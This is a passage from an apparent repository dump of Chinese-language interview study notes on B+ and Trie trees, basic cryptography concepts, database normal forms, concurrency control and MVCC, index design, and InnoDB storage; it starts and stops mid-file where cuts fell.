B+树\n是一种自平衡二叉树，通常用于数据库和操作系统的文件系统中。B+树的特点是能够保持数据稳定有序，其插入与修改拥有较稳定的对数时间复杂度。B+树元素自底向上插入，这与二叉树恰好相反。**B+树不需要象其他自平衡二叉查找树那样经常的重新平衡。**\n\n![](images/b+.png)\n\nB+树是B-树的变体，也是一种多路搜索树：\n\n  1. 每个分支节点最多m个子树\n  2. 根节点没有子树或至少两个子树\n  3. 除根节点外，其他每个分支节点至少[m/2]个子树\n  4. 有n个子树的节点有n个关键字\n  5. 所有叶子节点包含全部关键字及指向相应记录的指针，而且叶子节点按关键字大小顺序链接(可以把每个叶子及诶单看成一个基本索引块，它的指针不再指向另一级索引块，而是直接指向数据文件中的记录)\n  6. 所有分支节点中仅仅包含它的哥哥子节点(即下级索引块)中最大关键字及指向子节点的指针。\n\nm阶的B+树和B-树的主要差异如下：\n\n  - 在B+树中，具有n个关键字的节点含有n个子树，即每个关键字对应一个子树，而在B-树种，具有n个关键字的节点含有(n+1)个子树。\n  - 在B+树种，每个节点(除根节点外)中的关键字个数n的取值范围是[m/2] <= n <= m，根节点n的取值范围2 <=n <=m；而在B-树种，除根节点外，其他所有非叶子节点的关键字个数：[m/2]-1 <= n <= m-1，根节点关键字个数为1 <= n <= m-1\n  - **B+树种所有叶子节点包含了全部关键字，即其他非叶子节点中的关键字包含在叶子节点中，而在B-树中，关键字是不重复的。**\n  - **B+树中所有非叶子节点仅起到索引的作用**，即节点中每个索引项值含有对应子树的最大关键字和指向该子树的指针，不含有该关键字对应记录的存储地址。而在B-树种，每个关键字对应一个记录的存储地址。\n  - 通常B+树上有两个头指针，一个指向根节点，另一个指向关键字最小的叶子节点，所有叶子节点链接成一个不定长的线性表。\n\n\n### B+树的查找\n\n在B+树种可以采用两种查找方式：\n\n  - 直接从最小关键字开始顺序查找。\n  - 从B+树的根节点开始随机查找。这种查找方式与B-树的查找方式类似，只是在分支节点上的关键字与查找值相等时，查找并不会结束，要继续查到叶子节点为止，此时若查找成功，则按所给指针取出对应元素。\n\n在B+树中，不管查找是否成功，**每次查找都是经历一条树从根节点到叶子节点的路径**。\n\n### B+树的插入\n\n  1. 首先，查找要插入其中的节点的位置。接着把值插入这个节点中。\n  2. 如果没有节点处于违规状态则处理结束。\n  3. 如果某个节点有过多元素，则把它分裂为两个节点，每个都有最小数目的元素。在树上递归向上继续这个处理直到到达根节点，如果根节点被分裂，则创建一个新根节点。为了使它工作，元素的最小和最大数目典型的必须选择为使最小数不小于最大数的一半。\n\n### B+树的删除\n\n  1. 首先，查找要删除的值。接着从包含它的节点中删除这个值。\n  2. 如果没有节点处于违规状态则处理结束。\n  3. 如果节点处于违规状态则有两种可能情况：\n    - 它的兄弟节点，就是同一个父节点的子节点，可以把一个或多个它的子节点转移到当前节点，而把它返回为合法状态。如果是这样，在更改父节点和两个兄弟节点的分离值之后处理结束。\n    - 它的兄弟节点由于处在低边界上而没有额外的子节点。在这种情况下把两个兄弟节点合并到一个单一的节点中，而且我们递归到父节点上，因为它被删除了一个子节点。持续这个处理直到当前节点是合法状态或者到达根节点，在其上根节点的子节点被合并而且合并后的节点成为新的根节点。\n\n>B-树和B+树 主要用于外部查找，即数据在外存中。\n\n### B+树的优势所在\n\n为什么说B+树比B-树更适合实际应用中操作系统的文件索引和数据库索引？\n\n  1. B+树的磁盘读写代价更低\n\n    我们都知道磁盘时可以块存储的，也就是同一个磁道上同一盘块中的所有数据都可以一次全部读取。而B+树的内部结点并没有指向关键字具体信息的指针(比如文件内容的具体地址 ） 。因此其内部结点相对B-树更小。如果把所有同一内部结点的关键字存放在同一盘块中，那么盘块所能容纳的关键字数量也越多。这样，一次性读入内存中的需要查找的关键字也就越多。**相对来说IO读写次数也就降低了**。\n\n    举个例子，假设磁盘中的一个盘块容纳`16bytes`，而一个关键字`2bytes`，一个关键字具体信息指针`2bytes`。一棵9阶B-树(一个结点最多8个关键字)的内部结点需要2个盘块。而B+树内部结点只需要1个盘块。**当需要把内部结点读入内存中的时候，B-树就比B+数多一次盘块查找时间（在磁盘中就是盘片旋转的时间）**。\n\n  2. B+树的查询效率更加稳定。\n\n    由于非终结点并不是最终指向文件内容的结点，而只是叶子结点中关键字的索引。所以任何关键字的查找必须走一条从根结点到叶子结点的路。**所有关键字查询的路径长度相同，导致每一个数据的查询效率相当**。\n\n## Trie树\n\n`Trie树`，又称前缀树，`字典树`， 是一种有序树，用于保存关联数组，其中的键通常是字符串。与二叉查找树不同，键不是直接保存在节点中，而是由节点在树中的位置决定。**一个节点的所有子孙都有相同的前缀，也就是这个节点对应的字符串，而根节点对应空字符串**。一般情况下，不是所有的节点都有对应的值，只有叶子节点和部分内部节点所对应的键才有相关的值。\n\n**Trie树查询和插入时间复杂度都是 O(n)，是一种以空间换时间的方法。当节点树较多的时候，Trie 树占用的内存会很大**。\n\nTrie树常用于搜索提示。如当输入一个网址，可以自动搜索出可能的选择。当没有完全匹配的搜索结果，可以返回前缀最相似的可能。\n"
  },
  {
    "path": "docs/android/interview/basic/cryptology.md",
    "content": "# 密码学\n\n## 对称加密\n\n对称加密算法的加密和解密使用的密匙是相同的，也就是说如果通讯两方如果使用对称加密算法来加密通讯数据，那么通讯双方就需要都知道这个密匙，收到通讯数据后用这个密匙来解密数据。\n\n这类算法在加密和解密时使用相同的密钥，或是使用两个可以简单地相互推算的密钥。事实上，这组密钥成为在两个或多个成员间的共同秘密，以便维持专属的通信联系。与非对称加密相比，要求双方获取相同的密钥是对称密钥加密的主要缺点之一。常见的对称加密算法有 `DES、3DES、AES、Blowfish、IDEA、RC5、RC6`。\n\n**对称加密的速度比公钥加密快很多，在很多场合都需要对称加密**。\n\n## 非对称加密\n\n它需要两个密钥，**一个是公开密钥，另一个是私有密钥；一个用作加密的时候，另一个则用作解密**。使用其中一个密钥把明文加密后所得的密文，只能用相对应的另一个密钥才能解密得到原本的明文；甚至连最初用来加密的密钥也不能用作解密。由于加密和解密需要两个不同的密钥，故被称为非对称加密；\n\n虽然两个密钥在数学上相关，但如果知道了其中一个，并不能凭此计算出另外一个；因此其中一个可以公开，称为 **公钥**，任意向外发布；不公开的密钥为 **私钥** ，必须由用户自行严格秘密保管，绝不透过任何途径向任何人提供，也不会透露给要通信的另一方，即使他被信任。\n\n> 公钥 & 私钥 均可以作为加密密钥\n\n## 数字签名\n\n数字签名是一种类似写在纸上的签名，但是使用了 **公钥加密领域的技术实现** ，用于鉴别数字信息的方法。在网络上，我们可以使用“数字签名”来进行身份确认。数字签名是一个独一无二的数值，若公钥能通过验证，那我们就能确定对应的公钥的正确性，数字签名兼具这两种双重属性：\"可确认性\"及\"不可否认性（不需要笔迹专家验证）\"。\n\n数字签名就是将公钥密码反过来使用。签名者将讯息用私钥加密（**这是一种反用，因为通常非对称加密中私钥用于解密**），然后公布公钥;验证者使用公钥将加密讯息解密并比对消息（一般签名对象为消息的散列值）。\n\n## 密码散列函数\n\n密码散列函数（英语：`Cryptographic hash function`），又译为加密散列函数、密码散列函数、加密散列函数，是散列函数的一种。它被认为是一种 **单向函数**，也就是说极其难以由散列函数输出的结果，回推输入的数据是什么。这种散列函数的输入数据，通常被称为消息（ `message` ），而它的输出结果，经常被称为消息摘要（ `message digest` ）或摘要（ `digest` ）。\n"
  },
  {
    "path": "docs/android/interview/basic/database/README.md",
    "content": "# 数据库系统\n\n## 三范式\n\n### 第一范式\n\n在关系模型中，对域添加的一个规范要求，所有的域都应该是原子性的，即数据库表的每一列都是不可分割的原子数据项，而不能是集合，数组，记录等非原子数据项。\n\n### 第二范式\n\n在第一范式的基础上，非码属性必须完全依赖于候选码，**在第一范式基础上消除非主属性对主码的部分函数依赖**。\n\n### 第三范式\n\n在第一范式基础上，任何非主属性不依赖于其它非主属性，**在第二范式基础上消除传递依赖**。\n"
  },
  {
    "path": "docs/android/interview/basic/database/concurrent_control.md",
    "content": "# [并发控制](https://draveness.me/database-concurrency-control)\n\n如果数据库中的所有事务都是串行执行的，那么它非常容易成为整个应用的性能瓶颈，虽然说没法水平扩展的节点在最后都会成为瓶颈，但是串行执行事务的数据库会加速这一过程；而并发（`Concurrency`）使一切事情的发生都有了可能，它能够解决一定的性能问题，但是它会带来更多诡异的错误。\n\n引入了并发事务之后，如果不对事务的执行进行控制就会出现各种各样的问题，你可能没有享受到并发带来的性能提升就已经被各种奇怪的问题折磨的欲仙欲死了。\n\n如何控制并发是数据库领域中非常重要的问题之一，不过到今天为止事务并发的控制已经有了很多成熟的解决方案，而这些方案的原理就是这篇文章想要介绍的内容，最为常见的三种并发控制机制：\n\n  - **悲观并发控制**：悲观并发控制其实是最常见的并发控制机制，也就是锁\n  - **乐观并发控制**：即乐观锁，乐观锁其实并不是一种真实存在的锁\n  - **多版本并发控制（MVCC）**：与前两者对立的命名不同，`MVCC` 可以与前两者中的任意一种机制结合使用，以提高数据库的读性能\n\n## 悲观并发控制\n\n控制不同的事务对同一份数据的获取是保证数据库的一致性的最根本方法，如果我们能够让事务在同一时间对同一资源有着独占的能力，那么就可以保证操作同一资源的不同事务不会相互影响。\n\n最简单的、应用最广的方法就是使用锁来解决，**当事务需要对资源进行操作时需要先获得资源对应的锁，保证其他事务不会访问该资源后，再对资源进行各种操作**；在悲观并发控制中，数据库程序对于数据被修改持悲观的态度，在数据处理的过程中都会被锁定，以此来解决竞争的问题。\n\n### 读写锁\n\n为了最大化数据库事务的并发能力，数据库中的锁被设计为两种模式，分别是 **共享锁和互斥锁**。当一个事务获得共享锁之后，它只可以进行读操作，所以共享锁也叫 `读锁` ；而当一个事务获得一行数据的互斥锁时，就可以对该行数据进行读和写操作，所以互斥锁也叫 `写锁` 。\n\n![](images/1-transaction-5a299.png)\n\n> 共享锁和互斥锁除了限制事务能够执行的读写操作之外，它们之间还有『共享』和『互斥』的关系，也就是多个事务可以同时获得某一行数据的共享锁，但是互斥锁与共享锁和其他的互斥锁并不兼容\n\n![](images/6-concurrent_control-a38eb.png)\n\n如果当前事务没有办法获取该行数据对应的锁时就会陷入等待的状态，直到其他事务将当前数据对应的锁释放才可以获得锁并执行相应的操作。\n\n### 两阶段锁协议\n\n两阶段锁协议（`2PL`）是一种能够保证事务可串行化的协议，它将事务的获取锁和释放锁划分成了增长（`Growing`）和缩减（`Shrinking`）两个不同的阶段。\n\n**在增长阶段，一个事务可以获得锁但是不能释放锁；而在缩减阶段事务只可以释放锁，并不能获得新的锁**，如果只看 `2PL` 的定义，那么到这里就已经介绍完了，但是它还有两个变种：\n\n  - `Strict 2PL`：事务持有的 **互斥锁** 必须在提交后再释放；\n  - `Rigorous 2PL`：事务持有的 **所有锁** 必须在提交后释放；\n\n![](images/3e271da95017348023bf6ef7305a87f3.png)\n\n虽然 **锁的使用能够为我们解决不同事务之间由于并发执行造成的问题，但是两阶段锁的使用却引入了另一个严重的问题，死锁**；不同的事务等待对方已经锁定的资源就会造成死锁，我们在这里举一个简单的例子：\n\n![](images/9497aba548b6957ea5f155e6f21bb00e.png)\n\n两个事务在刚开始时分别获取了 `draven` 和 `beacon` 资源上面的锁，然后再请求对方已经获得的锁时就会发生死锁，双方都没有办法等到锁的释放，如果没有死锁的处理机制就会无限等待下去，两个事务都没有办法完成。\n\n#### 预防死锁\n\n有两种方式可以帮助我们预防死锁的出现，**一种是保证事务之间的等待不会出现环**，也就是事务之间的等待图应该是一张有向无环图，没有循环等待的情况或者保证一个事务中想要获得的所有资源都在事务开始时以原子的方式被锁定，所有的资源要么被锁定要么都不被锁定。\n\n但是这种方式有两个问题，在事务一开始时很难判断哪些资源是需要锁定的，同时因为一些很晚才会用到的数据被提前锁定，数据的利用率与事务的并发率也非常的低。一种解决的办法就是按照一定的顺序为所有的数据行加锁，同时与 2PL 协议结合，在加锁阶段保证所有的数据行都是从小到大依次进行加锁的，不过这种方式依然需要事务提前知道将要加锁的数据集。\n\n**另一种预防死锁的方法就是使用抢占加事务回滚的方式预防死锁**，当事务开始执行时会先获得一个时间戳，数据库程序会根据事务的时间戳决定事务应该等待还是回滚。\n\n### 锁的粒度\n\n到目前为止我们都没有对不同粒度的锁进行讨论，一直以来我们都讨论的都是数据行锁，但是在有些时候我们希望将多个节点看做一个数据单元，使用锁直接将这个数据单元、表甚至数据库锁定起来。这个目标的实现需要我们在数据库中定义不同粒度的锁：\n\n![](images/89c0b408c83ab026f4ecf97162e8c674.png)\n\n当我们拥有了不同粒度的锁之后，如果某个事务想要锁定整个数据库或者整张表时只需要简单的锁住对应的节点就会在当前节点加上显示（`explicit`）锁，在所有的子节点上加隐式（`implicit`）锁；**虽然这种不同粒度的锁能够解决父节点被加锁时，子节点不能被加锁的问题，但是我们没有办法在子节点被加锁时，立刻确定父节点不能被加锁**。\n\n在这时我们就需要引入 **意向锁** 来解决这个问题了，当需要给子节点加锁时，先给所有的父节点加对应的意向锁，**意向锁之间是完全不会互斥的，只是用来帮助父节点快速判断是否可以对该节点进行加锁**：\n\n![](images/f7edf320243ebcfcb92460272cad1374.png)\n\n这里是一张引入了两种意向锁，**意向共享锁** 和 **意向互斥锁** 之后所有的锁之间的兼容关系；到这里，我们通过不同粒度的锁和意向锁加快了数据库的吞吐量。\n\n## 乐观并发控制\n\n除了悲观并发控制机制 - 锁之外，我们其实还有其他的并发控制机制，乐观并发控制（`Optimistic Concurrency Control`）。乐观并发控制也叫乐观锁，但是它并不是真正的锁，很多人都会误以为乐观锁是一种真正的锁，然而它只是一种并发控制的思想。\n\n### 基于时间戳的协议\n\n锁协议按照不同事务对同一数据项请求的时间依次执行，因为后面执行的事务想要获取的数据已将被前面的事务加锁，只能等待锁的释放，所以基于锁的协议执行事务的顺序与获得锁的顺序有关。在这里想要介绍的 **基于时间戳的协议能够在事务执行之前先决定事务的执行顺序**。\n\n**每一个事务都会具有一个全局唯一的时间戳，它即可以使用系统的时钟时间，也可以使用计数器，只要能够保证所有的时间戳都是唯一并且是随时间递增的就可以**。\n\n![](images/f9e4cc0cba5487d8767b4238cb208635.png)\n\n**基于时间戳的协议能够保证事务并行执行的顺序与事务按照时间戳串行执行的效果完全相同**；每一个数据项都有两个时间戳，读时间戳和写时间戳，分别代表了当前成功执行对应操作的事务的时间戳。\n\n该协议能够保证所有冲突的读写操作都能按照时间戳的大小串行执行，在执行对应的操作时不需要关注其他的事务只需要关心数据项对应时间戳的值就可以了：\n\n![](images/b1646ed525ee2c5b4618d069791b437b.png)\n\n无论是读操作还是写操作都会从左到右依次比较读写时间戳的值，**如果小于当前值就会直接被拒绝然后回滚，数据库系统会给回滚的事务添加一个新的时间戳并重新执行这个事务**。\n\n### 基于验证的协议\n\n**乐观并发控制其实本质上就是基于验证的协议**，因为在多数的应用中只读的事务占了绝大多数，事务之间因为写操作造成冲突的可能非常小，也就是说大多数的事务在不需要并发控制机制也能运行的非常好，也可以保证数据库的一致性；而 **并发控制机制其实向整个数据库系统添加了很多的开销，我们其实可以通过别的策略降低这部分开销**。\n\n而验证协议就是我们找到的解决办法，它根据事务的只读或者更新将所有事务的执行分为两到三个阶段：\n\n![](images/7eb93b442040c7d46e2c12320d63228d.png)\n\n在读阶段，数据库会执行事务中的 **全部读操作和写操作**，并将所有写后的值存入临时变量中，并不会真正更新数据库中的内容；在这时候会进入下一个阶段，数据库程序会检查当前的改动是否合法，也就是是否有其他事务在 `RAED PHASE` 期间更新了数据，如果通过测试那么直接就进入 `WRITE PHASE` 将所有存在临时变量中的改动全部写入数据库，没有通过测试的事务会直接被终止。\n\n为了保证乐观并发控制能够正常运行，我们需要知道一个事务不同阶段的发生时间，包括事务开始时间、验证阶段的开始时间以及写阶段的结束时间；通过这三个时间戳，我们可以保证任意冲突的事务不会同时写入数据库，一旦由一个事务完成了验证阶段就会立即写入，其他读取了相同数据的事务就会回滚重新执行。\n\n作为乐观的并发控制机制，它会假定所有的事务在最终都会通过验证阶段并且执行成功，而锁机制和基于时间戳排序的协议是悲观的，因为它们会在发生冲突时强制事务进行等待或者回滚，哪怕有不需要锁也能够保证事务之间不会冲突的可能。\n\n## 多版本并发控制 -- MVCC\n\n到目前为止我们介绍的 **并发控制机制其实都是通过延迟或者终止相应的事务来解决事务之间的竞争条件（`Race condition`）来保证事务的可串行化**；虽然前面的两种并发控制机制确实能够从根本上解决并发事务的可串行化的问题，但是在实际环境中数据库的事务大都是只读的，**读请求是写请求的很多倍**，如果写请求和读请求之前没有并发控制机制，那么最坏的情况也是读请求读到了已经写入的数据，这对很多应用完全是可以接受的。\n\n![](images/e9a3a71f517878598235ac6751fe510d.png)\n\n在这种大前提下，数据库系统引入了另一种并发控制机制 - 多版本并发控制（`Multiversion Concurrency Control`），**每一个写操作都会创建一个新版本的数据，读操作会从有限多个版本的数据中挑选一个最合适的结果直接返回**；在这时，读写操作之间的冲突就不再需要被关注，而 **管理和快速挑选数据的版本就成了 MVCC 需要解决的主要问题**。\n\n**MVCC 并不是一个与乐观和悲观并发控制对立的东西，它能够与两者很好的结合以增加事务的并发量**，在目前最流行的 SQL 数据库 MySQL 和 PostgreSQL 中都对 MVCC 进行了实现；但是由于它们分别实现了悲观锁和乐观锁，所以 MVCC 实现的方式也不同。\n\n## MVCC vs 乐观锁\n\nMVCC 可以保证不阻塞地读到一致的数据。但是，MVCC 并没有对实现细节做约束，为此不同的数据库的语义有所不同，比如：\n\n  - `postgres` 对写操作也是乐观并发控制；在表中保存同一行数据记录的多个不同版本，每次写操作，都是创建，而回避更新；在事务提交时，按版本号检查当前事务提交的数据是否存在写冲突，则抛异常告知用户，回滚事务；\n\n  - `innodb` 则只对读无锁，写操作仍是上锁的悲观并发控制，这也意味着，`innodb` 中只能见到因死锁和不变性约束而回滚，而见不到因为写冲突而回滚，不像 postgres 那样对数据修改在表中创建新纪录，而是每行数据只在表中保留一份，在更新数据时上行锁，同时将旧版数据写入 `undo log`。表和 undo log 中行数据都记录着事务ID，在检索时，只读取来自当前已提交的事务的行数据。\n\n可见 MVCC 中的写操作仍可以按悲观并发控制实现，而 `CAS` 的写操作只能是乐观并发控制。还有一个不同在于，MVCC 在语境中倾向于 “对多行数据打快照造平行宇宙”，然而 `CAS` 一般只是保护单行数据而已。比如 mongodb 有 CAS 的支持，但不能说这是 MVCC。\n\n## MySQL 与 MVCC\n\nMySQL 中实现的多版本两阶段锁协议（Multiversion 2PL）将 MVCC 和 2PL 的优点结合了起来，每一个版本的数据行都具有一个唯一的时间戳，当有读事务请求时，数据库程序会直接从多个版本的数据项中具有最大时间戳的返回。\n\n![](images/b22ce20ca658d10fb6763d1b6b8b29e1.png)\n\n更新操作就稍微有些复杂了，事务会先读取最新版本的数据计算出数据更新后的结果，然后创建一个新版本的数据，新数据的时间戳是目前数据行的最大版本 `＋1`：\n\n![](images/3e0b6b9589c54d5b93ec689fbbf13275.png)\n\n数据版本的删除也是根据时间戳来选择的， `MySQL` 会将版本最低的数据定时从数据库中清除以保证不会出现大量的遗留内容。\n"
  },
  {
    "path": "docs/android/interview/basic/database/index.md",
    "content": "# [索引](http://www.cnblogs.com/morvenhuang/archive/2009/03/30/1425534.html)\n\n## 基本概念\n\n在数据库中，索引的含义与日常意义上的“索引”一词并无多大区别（想想小时候查字典），它是用于提高数据库表数据访问速度的数据库对象。\n\n  - 索引可以避免全表扫描。多数查询可以仅扫描少量索引页及数据页，而不是遍历所有数据页。\n  - 对于非聚集索引，有些查询甚至可以不访问数据页。\n  - 聚集索引可以避免数据插入操作集中于表的最后一个数据页。\n  - 一些情况下，索引还可用于避免排序操作。\n\n## 索引的存储\n\n一条索引记录中包含的基本信息包括：键值（即你定义索引时指定的所有字段的值）+逻辑指针（指向数据页或者另一索引页）。\n\n![](images/index_1.png)\n\n当你为一张空表创建索引时，数据库系统将为你分配一个索引页，该索引页在你插入数据前一直是空的。此页此时既是根结点，也是叶结点。每当你往表中插入一行数据，数据库系统即向此根结点中插入一行索引记录。当根结点满时，数据库系统大抵按以下步骤进行分裂：\n\n- 创建两个儿子结点\n- 将原根结点中的数据近似地拆成两半，分别写入新的两个儿子结点\n- 根结点中加上指向两个儿子结点的指针\n\n通常状况下，由于索引记录仅包含索引字段值（以及4-9字节的指针），**索引实体比真实的数据行要小许多，索引页相较数据页来说要密集许多**。一个索引页可以存储数量更多的索引记录，这意味着在索引中查找时在I/O上占很大的优势，理解这一点有助于从本质上了解使用索引的优势。\n\n## 索引的分类\n\n>汉语字典的正文本身就是一个聚集索引。比如，我们要查“安”字，就会很自然地翻开字典的前几页，因为“安”的拼音是“an”，而按照拼音排序汉字的字典是以英文字母“a”开头并以“z”结尾的，那么“安”字就自然地排在字典的前部。如果您翻完了所有以“a”开头的部分仍然找不到这个字，那么就说明您的字典中没有这个字；同样的，如果查“张”字，那您也会将您的字典翻到最后部分，因为“张”的拼音是“zhang”。也就是说，字典的正文部分本身就是一个目录，您不需要再去查其他目录来找到您需要找的内容。正文内容本身就是一种按照一定规则排列的目录称为“聚集索引”。\n\n>如果您认识某个字，您可以快速地从自动中查到这个字。但您也可能会遇到您不认识的字，不知道它的发音，这时候，您就不能按照刚才的方法找到您要查的字，而需要去根据“偏旁部首”查到您要找的字，然后根据这个字后的页码直接翻到某页来找到您要找的字。但您结合“部首目录”和“检字表”而查到的字的排序并不是真正的正文的排序方法，比如您查“张”字，我们可以看到在查部首之后的检字表中“张”的页码是672页，检字表中“张”的上面是“驰”字，但页码却是63页，“张”的下面是“弩”字，页面是390页。很显然，**这些字并不是真正的分别位于“张”字的上下方**，现在您看到的连续的“驰、张、弩”三字实际上就是他们在非聚集索引中的排序，是字典正文中的字在非聚集索引中的映射。我们可以通过这种方式来找到您所需要的字，但它需要两个过程，先找到目录中的结果，然后再翻到您所需要的页码。\n\n### 聚集索引\n\n表数据按照索引的顺序来存储的。**对于聚集索引，叶子结点即存储了真实的数据行，不再有另外单独的数据页**。在聚集索引中，叶结点也即数据结点，所有数据行的存储顺序与索引的存储顺序一致。\n\n**在一张表上只能创建一个聚集索引，因为真实数据的物理顺序只可能是一种**。如果一张表没有聚集索引，那么它被称为“堆集”（Heap）。这样的表中的数据行没有特定的顺序，所有的新行将被添加的表的末尾位置。\n\n![](images/index_2.png)\n\n### 非聚集索引\n\n**表数据存储顺序与索引顺序无关**。对于非聚集索引，叶结点包含索引字段值及指向数据页数据行的逻辑指针，该层紧邻数据页，其行数量与数据表行数据量一致。\n\n非聚集索引与聚集索引相比：\n\n  - 叶子结点并非数据结点\n  - 叶子结点为每一真正的数据行存储一个“键-指针”对\n  - 叶子结点中还存储了一个指针偏移量，根据页指针及指针偏移量可以定位到具体的数据行。\n  - 类似的，在除叶结点外的其它索引结点，存储的也是类似的内容，只不过它是指向下一级的索引页的。\n\n![](images/index_3.png)\n\n## 索引失效\n\n索引并不是时时都会生效的，比如以下几种情况，将导致索引失效：\n\n  1. 如果条件中有or，即使其中有条件带索引也不会使用。\n    >要想使用or，又想让索引生效，只能将or条件中的每个列都加上索引\n\n  2. 对于多列索引，不是使用的第一部分，则不会使用索引。\n\n  3. like查询是以%开头。\n\n  4. 如果列类型是字符串，那一定要在条件中将数据使用引号引用起来，否则不使用索引。\n\n  5. 如果 mysql 估计使用全表扫描要比使用索引快，则不使用索引。例如，使用`<>`、`not in` 、`not` `exist`，对于这三种情况大多数情况下认为结果集很大，MySQL就有可能不使用索引。\n\n## 索引设计的原则\n\n  - **表的某个字段值得离散度越高，该字段越适合选作索引的关键字**。主键字段以及唯一性约束字段适合选作索引的关键字，原因就是这些字段的值非常离散。\n\n  - **占用存储空间少的字段更适合选作索引的关键字**。例如，与字符串相比，整数字段占用的存储空间较少，因此，较为适合选作索引关键字。\n\n  - **存储空间固定的字段更适合选作索引的关键字**。与 text 类型的字段相比， char 类型的字段较为适合选作索引关键字。\n\n  - **Where 子句中经常使用的字段应该创建索引，分组字段或者排序字段应该创建索引，两个表的连接字段应该创建索引**。\n\n  - **更新频繁的字段不适合创建索引，不会出现在 where 子句中的字段不应该创建索引**。\n\n  - 最左前缀原则。\n\n  - 尽量使用前缀索引。\n\n## 总结\n\n聚集索引是一种稀疏索引，数据页上一级的索引页存储的是页指针，而不是行指针。而对于非聚集索引，则是密集索引，在数据页的上一级索引页它为每一个数据行存储一条索引记录。\n\n与非聚集索引相比，聚集索引有着更快检索速度、更快的字段排序。\n\n在MySQL中`InnoDB`按照主键进行聚集，如果没有定义主键，`InnoDB`会试着使用唯一的非空索引来代替。如果没有这种索引，`InnoDB`就会定义隐藏的主键然后在上面进行聚集，但是主键和聚集索引是不等价的。在`InnoDB`中`Normal`索引即非聚集索引。\n\n\n## 参考链接\n\n- [MySQL 索引设计概要](https://draveness.me/sql-index-intro)\n- [MySQL 索引性能分析概要](https://draveness.me/sql-index-performance)\n"
  },
  {
    "path": "docs/android/interview/basic/database/innodb.md",
    "content": "# InnoDB\n\n## 数据存储\n\n与现有的大多数存储引擎一样，InnoDB 使用页作为磁盘管理的最小单位；数据在 InnoDB 存储引擎中都是按行存储的，每个 `16KB` 大小的页中可以存放 `2-200` 行的记录。\n\n当 InnoDB 存储数据时，它可以使用不同的行格式进行存储；MySQL 5.7 版本支持以下格式的行存储方式：\n\n![](images/81407aa14450d2d6fac1a70961880aac.png)\n\n> `Antelope` 是 InnoDB 最开始支持的文件格式，它包含两种行格式 `Compact` 和 `Redundant` ，它最开始并没有名字； `Antelope` 的名字是在新的文件格式 `Barracuda` 出现后才起的， `Barracuda` 的出现引入了两种新的行格式 `Compressed` 和 `Dynamic` ；InnoDB 对于文件格式都会向前兼容，而官方文档中也对之后会出现的新文件格式预先定义好了名字：Cheetah、Dragon、Elk 等等。\n\n两种行记录格式 `Compact` 和 `Redundant` 在磁盘上按照以下方式存储：\n\n![](images/a18d600fb632031a00937b1e667e446e.png)\n\n`Compact` 和 `Redundant` 格式最大的不同就是记录格式的第一个部分；在 `Compact` 中，行记录的第一部分倒序存放了一行数据中列的长度（Length），而 `Redundant` 中存的是每一列的偏移量（Offset），从总体上上看， `Compact` 行记录格式相比 `Redundant` 格式能够减少 `20%` 的存储空间。\n\n### 行溢出数据\n\n当 InnoDB 使用 `Compact` 或者 `Redundant` 格式存储极长的 `VARCHAR` 或者 `BLOB` 这类大对象时，我们并不会直接将所有的内容都存放在数据页节点中，而是将行数据中的前 `768` 个字节存储在数据页中，后面会通过偏移量指向溢出页。\n\n![](images/19af5612d981bf2ae2ea7d5b5b9b26ac.png)\n\n但是当我们使用新的行记录格式 `Compressed` 或者 `Dynamic` 时都只会在行记录中保存 `20` 个字节的指针，实际的数据都会存放在溢出页面中。\n\n![image](images/f7dc83f1b5cfb5f428adc404ce3cfa13.png)\n\n当然在实际存储中，可能会对不同长度的 TEXT 和 BLOB 列进行优化。\n\n> 想要了解更多与 InnoDB 存储引擎中记录的数据格式的相关信息，可以阅读 [InnoDB Record Structure](https://dev.mysql.com/doc/internals/en/innodb-record-structure.html)\n\n### 数据页结构\n\n页是 InnoDB 存储引擎管理数据的最小磁盘单位，而 `B-Tree` 节点就是实际存放表中数据的页面，我们在这里将要介绍页是如何组织和存储记录的；首先，一个 InnoDB 页有以下七个部分：\n\n![image](images/771f5daaf406ec0990ca339c9a594bec.png)\n\n每一个页中包含了两对 `header/trailer`：内部的 `Page Header/Page Directory` 关心的是页的状态信息，而 `Fil Header/Fil Trailer` 关心的是记录页的头信息。\n\n在页的头部和尾部之间就是用户记录和空闲空间了，每一个数据页中都包含 `Infimum` 和 `Supremum` 这两个虚拟的记录（可以理解为占位符）， `Infimum` 记录是比该页中任何主键值都要小的值， `Supremum` 是该页中的最大值：\n\n![image](images/85f36113b83bba8aa1ceb1d75bc97271.png)\n\n`User Records` 就是整个页面中真正用于存放行记录的部分，而 `Free Space` 就是空余空间了，它是一个链表的数据结构，为了保证插入和删除的效率，整个页面并不会按照主键顺序对所有记录进行排序，它会自动从左侧向右寻找空白节点进行插入，行记录在物理存储上并不是按照顺序的，它们之间的顺序是由 `next_record` 这一指针控制的。\n\n`B+` 树在查找对应的记录时，并不会直接从树中找出对应的行记录，它只能获取记录所在的页，将整个页加载到内存中，再通过 `Page Directory` 中存储的稀疏索引和 `n_owned、next_record` 属性取出对应的记录，不过因为这一操作是在内存中进行的，所以通常会忽略这部分查找的耗时。\n\n## 索引\n\n索引是数据库中非常非常重要的概念，它是存储引擎能够快速定位记录的秘密武器，对于提升数据库的性能、减轻数据库服务器的负担有着非常重要的作用；**索引优化是对查询性能优化的最有效手段**，它能够轻松地将查询的性能提高几个数量级。\n\nInnoDB 存储引擎在绝大多数情况下使用 B+ 树建立索引，这是关系型数据库中查找最为常用和有效的索引，但是 **B+ 树索引并不能找到一个给定键对应的具体值，它只能找到数据行对应的页**，然后正如上一节所提到的，数据库把整个页读入到内存中，并在内存中查找具体的数据行。\n\n![](images/c60f9c70aa5f25cea0f109f4064e13ab.png)\n\nB+ 树是平衡树，它查找任意节点所耗费的时间都是完全相同的，比较的次数就是 B+ 树的高度；\n\n### 聚集索引和辅助索引\n\n数据库中的 B+ 树索引可以分为聚集索引（clustered index）和辅助索引（secondary index），它们之间的最大区别就是，聚集索引中存放着一条行记录的全部信息，而辅助索引中只包含索引列和一个用于查找对应行记录的『书签』。\n\n#### 聚集索引\n\nInnoDB 存储引擎中的表都是使用索引组织的，也就是按照键的顺序存放；聚集索引就是按照表中主键的顺序构建一颗 B+ 树，并在叶节点中存放表中的行记录数据。\n\n```\nCREATE TABLE users(\n    id INT NOT NULL,\n    first_name VARCHAR(20) NOT NULL,\n    last_name VARCHAR(20) NOT NULL,\n    age INT NOT NULL,\n    PRIMARY KEY(id),\n    KEY(last_name, first_name, age)\n    KEY(first_name)\n);\n```\n\n如果使用上面的 SQL 在数据库中创建一张表，B+ 树就会使用 id 